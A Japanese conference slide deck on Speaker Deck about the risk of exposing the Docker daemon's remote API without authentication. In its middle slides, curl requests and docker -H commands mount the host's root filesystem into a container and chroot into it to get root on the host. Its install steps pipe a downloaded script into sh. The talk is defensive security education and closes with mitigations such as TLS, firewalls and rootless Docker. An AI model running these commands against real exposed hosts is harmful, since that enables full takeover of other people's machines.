Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Docker 危険のキ!/Docker the beginning of danger
Search
yasu
February 10, 2020
Technology
270
1
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Docker 危険のキ!/Docker the beginning of danger
OWASP Sendai Day 2020 での発表資料です。
yasu
February 10, 2020
More Decks by yasu
See All by yasu
Dockerとは
yasu8899
1
920
ML基本のキの一筆目
yasu8899
0
92
はじめての文字認識_改
yasu8899
1
520
rancheros-in-raspberrypi
yasu8899
2
490
5分で説明する RancherOS+Rancher2インストール / rancherosinstall
yasu8899
0
730
Other Decks in Technology
See All in Technology
子育てエンジニアの可処分時間が減っても成長を諦めない戦い方
sudoakiy
6
4.6k
分析AIエージェントを育てる、動く環境を育てる
codatum
1
1.1k
無理せず続ける、子育てエンジニアの学び
codmoninc
PRO
0
870
初海外で注意すべきこと12選!!!安全快適なre:invent生活にするために
yuuuuuuu168
1
160
re:Invent初参加で変わったこと、2回目にやってみたいこと(JAWS-UG彩の国埼玉 #12)
mhrtech
2
220
Active Record Connection Adaptersにおける長年の課題に再び取り組む
yahonda
0
150
AIにシークレットを見せない、WSL2で安全な開発環境
yazm
0
300
Railsで挑む大量データ永続化 〜600億件を永続化するための設計とボトルネックとの戦い〜
occhi
1
580
エンタメ企業のM&Aを支えるデータ基盤 ― 統合から店舗のリアルタイム分析まで / Data Engineering Summit 2026
genda
0
170
触りたくないデータに、どう触るか AI時代のRBACアクセスガバナンス
ivry_presentationmaterials
0
260
Optunaの最新リリースv5.0について
pfn
PRO
0
120
スプシの手作業からの解脱 ~更新はClaude Codeに、見せ方と使い方はGASアプリに任せる~
kentarofujii
0
150
Featured
See All Featured
Embracing the Ebb and Flow
colly
88
5.2k
Facilitating Awesome Meetings
lara
57
7.2k
Navigating Algorithm Shifts & AI Overviews - #SMXNext
aleyda
1
1.7k
AI Search: Where Are We & What Can We Do About It?
aleyda
0
8.1k
Building Applications with DynamoDB
mza
96
7.2k
Tell your own story through comics
letsgokoyo
1
1.1k
Stop Working from a Prison Cell
hatefulcrawdad
274
21k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
123
22k
Ruling the World: When Life Gets Gamed
codingconduct
0
400
Joys of Absence: A Defence of Solitary Play
codingconduct
1
550
Building a A Zero-Code AI SEO Workflow
portentint
PRO
0
780
YesSQL, Process and Tooling at Scale
rocio
174
15k
Transcript
Docker 危険のキ! OWASP Sendai Day 2020 令和 2年 2月 8日
oda@sendai
OS: CentOS Linux release 8.0.1905 (Core) Client: Docker: 19.03.5 Server:
Docker Engine: 18.09.1 上記のバージョンで確認しています。 環境
H オプション 知っていますか?
Dockerは、デーモンとクライアントに分かれている。 ・通常実行するdockerコマンドは、クライアントです。 ・dockerコマンドから指示を受け取って、 実際にコンテナ操作を行うのがdockerデーモンです。 ・指示はDocker Remote APIで行っている。 デーモンとクライアント
・dockerデーモンに指定した場合、tcpでlisten出来るようになる。 ・dockerクライアントに指定した場合、 リモートのdockerデーモンにアクセス出来るようになる。 Hオプション
修正するファイル(docker01) /etc/systemd/system/multi-user.target.wants/docker.service ExecStart=/usr/bin/dockerd -H fd:// ↓ ExecStart=/usr/bin/dockerd -H fd:// -H
tcp://0.0.0.0:2375 デーモンの再起動(docker01) $ sudo systemctl daemon-reload $ sudo systemctl restart docker 実際の設定
プロセスの確認(docker01) $ ps ax | grep docker XXXX ? Ssl
0:00 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 listenされていることの確認(docker01) $ sudo ss -tnlp LISTEN 0 128 *:2375 *:* users:(("dockerd",pid=1080,fd=3)) 実際の設定
コンテナの確認(docker01) $ sudo docker container run -d --name nginx01 nginx
852116acb341aa5・・・ $ sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 35 seconds ago Up 33 seconds 80/tcp nginx01 コンテナの起動
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container ls CONTAINER ID IMAGE
COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 2 minutes ago Up 2 minutes 80/tcp nginx01 ※この環境は、VirtualBox上で2台の仮想マシン(CentOS)を 起動しています。 XXX.XXX.XXX.XXX は、VirtualBoxを動かしている ホストのIPアドレスになります。 リモートしてみる
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 image ls REPOSITORY TAG IMAGE
ID CREATED SIZE nginx latest 2073e0bcb60e 5 days ago 127MB hello-world latest fce289e99eb9 13 months ago 1.84kB リモートしてみる
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json [{"Id":"852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf 708","Names":["/nginx01"],"Image":"nginx","ImageID":"sha256:2073e0bcb60ee98 548d313ead5eacbfe16d9054f8800a32bedd859922a99a6e1","Command":"ngin x -g 'daemon
off;'","Created":1581089209,"Ports":[{"PrivatePort":80,"Type":"tcp"}],"Labels":{"ma intainer":"NGINX Docker Maintainers ・・・ dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json | python -m json.tool [ {
"Id": "852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf708", "Names": [ "/nginx01" ], "Image": "nginx" dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/images/json | python -m json.tool [ {
"Containers": -1, ・・・ "RepoTags": [ "nginx:latest" ], ・・・ "RepoTags": [ "hello-world:latest" ], dockerコマンドが使えるということは
露出したDocker APIを介してコンテナに侵入する ボット型マルウェア「AESDDoS」について解説 投稿日:2019年7月9日 https://blog.trendmicro.co.jp/archives/21756 もうすでに ~ 一部抜粋 ~ ▪今回のAESDDoSによる攻撃について
今回確認された新しい攻撃では、攻撃者はまずTCP SYNパケットを、Dockerデーモ ンとの通信に使用されるデフォルトポートである2375に送信することによって、特定 のIP範囲を外部からスキャンします。
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Image":
"nginx", "Mounts": [{"Source": "/", "Target": "/mnt", "Type": "bind"}]}' \ http://XXX.XXX.XXX.XXX:2375/containers/create {"Id":"123456789012345678901234567890","Warnings":null} ヤヴァいやつ1
$ curl -X POST -H "Content-Type: application/json" \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/start
実行の表示なし ヤヴァいやつ2
$ curl -X POST -H "Content-Type: application/json" \ -d '{"AttachStdin":
true, "AttachStdout": true, "Tty": true, "Cmd": [ "sh" ]}' \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/exec {"Id":"ABCDEFGABCDEFGABCDEFG"} ヤヴァいやつ3
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Detach":
false, "Tty": true}' \ http://XXX.XXX.XXX.XXX/exec/ABCDEFGABCDEFGABCDEFG/start ※本当はここでコンテナ内のshellに繋ぎたかった。 パラメータが足りないのか、何も返ってきません。 Ctrl + c で止めます。 ヤヴァいやつ4
先ほど出来なかったので、素直にdockerコマンドで。 $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container exec -it 123456789012345678901234567890 sh
# (コンテナの中です。) # ヤヴァいやつ5
# chroot /mnt sh-4.4# bash [root@ba4e368ef83c /]# ヤヴァいやつ6 この場所は、ホストのディレクトリツリーです。
[root@ba4e368ef83c /]# ps ax | grep docker XXXX ? Ssl
0:06 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 dockerデーモンは、当然ホスト上のプロセス いろいろと確認
[root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker
container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx ・ ・ ・ いろいろと・・・
・FWやproxyを前面に立てる。 直接、APIをアクセスさせない。 対策
・TLS を有効にする 証明書を設定する。 APIにアクセスするときは、証明書で認証が必要。 Docker デーモンのソケットを守る http://docs.docker.jp/engine/articles/https.html#opensl-ca 対策
・リモート接続を使わない運用を考える。 なるべくssh でサーバにログインして、 unixドメインソケット接続する。 対策
・H オプションで指定できるIPは、 0.0.0.0 もしくは ホストのIPアドレスだけ。 誰もが接続可能で可能なので、非推奨です。 TIPC
dockerデーモンを非root権限で起動する。 Docker Ver 19.03 からの新機能。 Docker 19.03新機能 (root権限不要化、GPU対応強化、CLIプラグイン …) https://medium.com/nttlabs/docker-1903-5155754ff8ac
rootless docker
インストール手順 $ dnf install tar $ curl -fsSL https://get.docker.com/rootless |
sh $ echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bash_profile $ source ~/.bash_profile $ docker container run hello-world rootless docker
各コマンド・ファイルのパス ~/bin/docker ~/bin/dockerd ユーザ権限で動作する /var/run/user/1000/docker.sock ユーザ権限で動作する rootless docker
起動設定のファイル /home/user02/.config/systemd/user/docker.service 起動オプション ExecStart=/home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs ※実験的な機能かな?? rootless docker
起動コマンド $ systemctl start docker --user OS起動時に自動起動 $ systemctl enable
docker --user rootless docker
プロセスの確認 $ ps axu | grep docker user02 8525 0.0
1.2 109856 10480 ? Ssl 12:39 0:00 rootlesskit --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8532 0.0 0.9 109856 8136 ? Sl 12:39 0:00 /proc/self/exe --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8563 1.0 5.7 492804 48408 ? Sl 12:39 0:00 dockerd --experimental --storage-driver=vfs user02 8575 0.5 3.2 463220 26936 ? Ssl 12:39 0:00 containerd --config /run/user/1000/docker/containerd/containerd.toml --log-level info user02 8713 0.0 0.1 10284 1096 pts/0 R+ 12:40 0:00 grep --color=auto docker 全てユーザ権限!! rootless docker
rootless dockerで、ヤヴァいやつを試したかったのです が、 オプションを付けると起動しませんでした。 rootless docker
Docker 危険のキ! END